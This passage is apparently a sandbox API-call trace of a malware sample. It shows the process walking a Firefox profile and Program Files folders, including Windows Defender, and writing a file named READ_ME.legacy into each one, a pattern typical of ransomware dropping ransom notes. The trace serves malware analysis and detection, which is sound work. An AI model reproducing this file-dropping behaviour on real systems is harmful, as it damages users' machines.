ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.623] FindNextFileW (in: hFindFile=0x30d16b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e88e0, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x83e88e0, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x83e88e0, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0200.623] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x840eade, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1130 [0200.623] FindNextFileW (in: hFindFile=0x30d1130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x840eade, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.623] FindNextFileW (in: hFindFile=0x30d1130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x840eade, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x840eade, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x840eade, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.623] FindNextFileW (in: hFindFile=0x30d1130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x840eade, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x840eade, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x840eade, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0200.623] FindFirstFileW (in: lpFileName="\\Program Files\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9904c687, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9904c687, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d12b0 [0200.623] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9904c687, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9904c687, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.623] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0200.623] CreateFileW (lpFileName="\\Program Files\\Common Files\\READ_ME.legacy" (normalized: "c:\\program files\\common files\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.625] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.626] CloseHandle (hObject=0x1c6c) returned 1 [0200.626] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0200.626] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x94a71903, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94a71903, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0200.626] CreateFileW (lpFileName="\\Program Files\\Internet Explorer\\READ_ME.legacy" (normalized: "c:\\program files\\internet explorer\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.626] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.627] CloseHandle (hObject=0x1c6c) returned 1 [0200.627] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Java", cAlternateFileName="")) returned 1 [0200.627] CreateFileW (lpFileName="\\Program Files\\Java\\READ_ME.legacy" (normalized: "c:\\program files\\java\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.628] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.629] CloseHandle (hObject=0x1c6c) returned 1 [0200.629] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0200.629] CreateFileW (lpFileName="\\Program Files\\Microsoft Office\\READ_ME.legacy" (normalized: "c:\\program files\\microsoft office\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.629] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.630] CloseHandle (hObject=0x1c6c) returned 1 [0200.630] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0200.630] CreateFileW (lpFileName="\\Program Files\\Microsoft Office 15\\READ_ME.legacy" (normalized: "c:\\program files\\microsoft office 15\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.630] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.631] CloseHandle (hObject=0x1c6c) returned 1 [0200.631] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa7154510, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf7d369cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0200.631] CreateFileW (lpFileName="\\Program Files\\Mozilla Firefox\\READ_ME.legacy" (normalized: "c:\\program files\\mozilla firefox\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.632] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.633] CloseHandle (hObject=0x1c6c) returned 1 [0200.633] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0200.633] CreateFileW (lpFileName="\\Program Files\\MSBuild\\READ_ME.legacy" (normalized: "c:\\program files\\msbuild\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.634] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.635] CloseHandle (hObject=0x1c6c) returned 1 [0200.635] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0200.635] CreateFileW (lpFileName="\\Program Files\\Reference Assemblies\\READ_ME.legacy" (normalized: "c:\\program files\\reference assemblies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.635] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.636] CloseHandle (hObject=0x1c6c) returned 1 [0200.636] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9663ff13, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9663ff13, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="rempl", cAlternateFileName="")) returned 1 [0200.636] CreateFileW (lpFileName="\\Program Files\\rempl\\READ_ME.legacy" (normalized: "c:\\program files\\rempl\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.638] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.639] CloseHandle (hObject=0x1c6c) returned 1 [0200.639] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xa747e827, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2709a20, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0200.639] CreateFileW (lpFileName="\\Program Files\\Uninstall Information\\READ_ME.legacy" (normalized: "c:\\program files\\uninstall information\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.639] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.640] CloseHandle (hObject=0x1c6c) returned 1 [0200.640] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747f43e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x749f4454, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="UNP", cAlternateFileName="")) returned 1 [0200.640] CreateFileW (lpFileName="\\Program Files\\UNP\\READ_ME.legacy" (normalized: "c:\\program files\\unp\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.641] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.642] CloseHandle (hObject=0x1c6c) returned 1 [0200.642] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8f11cc1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x711dc3b4, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0200.642] CreateFileW (lpFileName="\\Program Files\\Windows Defender\\READ_ME.legacy" (normalized: "c:\\program files\\windows defender\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.642] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.643] CloseHandle (hObject=0x1c6c) returned 1 [0200.643] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0200.643] CreateFileW (lpFileName="\\Program Files\\Windows Defender Advanced Threat Protection\\READ_ME.legacy" (normalized: "c:\\program files\\windows defender advanced threat protection\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.644] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.645] CloseHandle (hObject=0x1c6c) returned 1 [0200.645] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0200.645] CreateFileW (lpFileName="\\Program Files\\Windows Mail\\READ_ME.legacy" (normalized: "c:\\program files\\windows mail\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.647] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.648] CloseHandle (hObject=0x1c6c) returned 1 [0200.648] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x94a71903, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x94a71903, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0200.648] CreateFileW (lpFileName="\\Program Files\\Windows Media Player\\READ_ME.legacy" (normalized: "c:\\program files\\windows media player\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.648] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.649] CloseHandle (hObject=0x1c6c) returned 1 [0200.649] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0200.649] CreateFileW (lpFileName="\\Program Files\\Windows Multimedia Platform\\READ_ME.legacy" (normalized: "c:\\program files\\windows multimedia platform\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.650] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.650] CloseHandle (hObject=0x1c6c) returned 1 [0200.651] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0200.651] CreateFileW (lpFileName="\\Program Files\\Windows NT\\READ_ME.legacy" (normalized: "c:\\program files\\windows nt\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.652] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.653] CloseHandle (hObject=0x1c6c) returned 1 [0200.653] FindNextFileW (in: hFindFile=0x30d12b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0200.653] CreateFileW (lpFileName="\\Program Files\\Windows Photo Viewer\\READ_ME.legacy" (normalized: "c:\\program files\\windows photo viewer\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c6c [0200.655] WriteFile (in: hFile=0x1c6c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, 